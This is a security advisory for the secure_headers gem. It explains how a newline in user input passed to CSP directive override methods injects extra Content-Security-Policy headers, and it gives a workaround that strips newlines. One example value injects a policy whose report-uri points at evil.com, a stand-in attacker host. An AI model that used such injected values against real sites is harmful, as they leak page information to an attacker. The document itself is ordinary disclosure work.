secure_headers header injection due to newline

If user-supplied input was passed into append/override_content_security_policy_directives,
a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy
header with the remaining value of the original string. It will continue to create new headers
for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])